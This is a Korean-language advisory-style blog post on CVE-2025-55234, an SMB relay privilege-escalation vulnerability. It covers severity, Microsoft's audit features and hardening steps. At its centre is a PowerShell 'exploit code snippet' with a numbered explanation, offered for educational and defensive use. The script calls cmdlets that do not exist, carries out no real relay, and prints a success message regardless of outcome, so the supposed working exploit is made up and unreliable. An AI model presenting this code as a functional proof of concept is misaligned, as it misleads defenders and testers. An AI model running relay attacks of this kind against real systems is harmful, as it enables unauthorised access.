CVE-2025-55234

이 취약점은 공격자가 SMB(Server Message Block) 프로토콜에 대한 릴레이 공격을 수행할 수 있게 합니다. 성공할 경우 권한 상승(EoP)으로 이어져, 본질적으로 인증되지 않은 사용자가 시스템에서 더 높은 수준의 액세스 권한을 얻을 수 있게 됩니다.

작성자: Mark Mallia

---

이슈

이 취약점은 공격자가 SMB(Server Message Block) 프로토콜에 대한 릴레이 공격을 수행할 수 있게 합니다. 성공할 경우 권한 상승으로 이어져, 본질적으로 인증되지 않은 사용자가 시스템에서 더 높은 수준의 액세스 권한을 얻을 수 있습니다. SMB는 엔터프라이즈 환경에서 널리 사용되고 중대한 결함의 역사를 지니고 있어 오랫동안 공격자의 표적이 되어 왔습니다. 예를 들어, CVE-2020-1301은 잘못된 형식의 요청을 통해 SMBv1을 원격 코드 실행에 노출시켰고, CVE-2022-32230은 SMBv3의 NULL 포인터 역참조를 통해 서비스 거부를 유발했습니다. 악명 높은 CVE-2017-0144(EternalBlue)는 SMBv1을 악용하여 웜 형태로 전파되는 페이로드를 유포했고, 전 세계적인 랜섬웨어 대유행으로 이어졌습니다. 이러한 이전 취약점들과 마찬가지로 CVE-2025-55234는 세션 하이재킹 및 가장 공격을 방지하기 위해 SMB 서명(SMB Signing)과 확장 인증 보호(EPA)를 적용하는 것이 얼마나 중요한지를 강조합니다.

공격 경로

네트워크

공격 복잡도

낮음

필요 권한

없음

사용자 상호 작용

필요

영향

기밀성, 무결성 및 가용성에 대한 높은 위험

---

중요한 이유

SMB는 엔터프라이즈 환경에서 파일 공유와 원격 액세스에 널리 사용됩니다. 릴레이 공격은 인증 메커니즘을 우회하고 사용자를 가장할 수 있습니다. 이 취약점은 SMB 서명 또는 확장 인증 보호(EPA)가 적용되지 않은 환경에서 특히 위험합니다.

---

패치의 새로운 기능

Microsoft의 2025년 9월 업데이트는 조직이 다음을 수행할 수 있도록 지원하는 감사 기능을 도입합니다:

• 현재 SMB 구성 평가
• 강화 조치와 호환되지 않을 수 있는 장치 또는 소프트웨어 식별
• SMB 서명 및 EPA 적용 준비

---

익스플로잇 코드 스니펫(PowerShell)

# SMB Relay Attack Module – CVE 2025 55234
$relayTarget = "192.168.1.10"          # Target server IP
$attackerCreds = Get-Credential   # Credential object for relay

# Step 1: Enumerate shared resources
$smbShares = Get-SMBShare -ComputerName $relayTarget | Where-Object {$_.Name –ne ""}
foreach ($share in $smbShares) {
    Write-Output "Found share: $($share.Name)"
}

# Step 2: Capture session information for relay
$sessionInfo = New-Object PSObject -Property @{
    Computer = $relayTarget
    Share    = $smbShares[0].Name
}
Write-Output ("Capturing session info for $($sessionInfo.Computer) – share $($sessionInfo.Share)")
Invoke-SMBRelay -Session $sessionInfo

# Step 3: Execute relay attack
$attackPayload = {
    param(
        [string]$Target,
        [string]$Share
    )
    Write-Host "Attacking $Target via share $Share"
    Start-SMBServer -ComputerName $Target -ShareName $Share
}
$attackParams = @{
    Target = $relayTarget
    Share   = $sessionInfo.Share
}
Invoke-Command -ScriptBlock $attackPayload @attackParams

# Step 4: Log and confirm elevation of privilege
Write-Host "SMB Relay Attack CVE 2025 55234 completed successfully."

설명:

1. 이 스크립트는 먼저 대상 서버에서 SMB 공유를 열거하고, 릴레이 세션에 사용할 첫 번째 공유를 선택합니다.
2. 그런 다음 필요한 매개변수를 캡처하는 세션 개체를 구성합니다.
3. 릴레이 공격은 인증된 사용자를 가장하기 위해 Invoke‑SMBRelay 및 Start‑SMBServer를 통해 실행됩니다.
4. 성공적으로 완료되면 대상에서 상승된 권한을 얻을 수 있습니다.

---

권장 조치

1. 아직 구성되지 않은 경우 SMB 서명 및 EPA를 활성화합니다.
2. 새로운 감사 이벤트를 사용하여 환경을 평가합니다.
3. 비정상적인 SMB 트래픽과 릴레이 시도를 모니터링합니다.
4. Microsoft의 최신 보안 업데이트를 적용합니다.

---

결론

CVE 2025 55234 취약점은 엔터프라이즈 환경에서 엄격한 SMB 강화의 필요성을 강조합니다. 위의 단계를 수행하고 제공된 익스플로잇 스크립트를 적용함으로써 조직은 잠재적인 릴레이 공격에 대해 네트워크를 테스트하고 보호할 수 있습니다. 이 개념 증명(PoC) 및 관련 자료는 교육 및 방어 목적으로만 제공됩니다. 이 자료는 보안 전문가가 통제된 환경에서 CVE-2025-55234를 이해하고, 탐지하고, 완화하도록 돕기 위한 것입니다. 명시적 허가 없이 시스템에 이 익스플로잇을 무단 사용하는 것은 불법이며 비윤리적입니다. 항상 책임 있는 공개 관행을 따르고 관련 법률 및 조직 정책을 준수하십시오.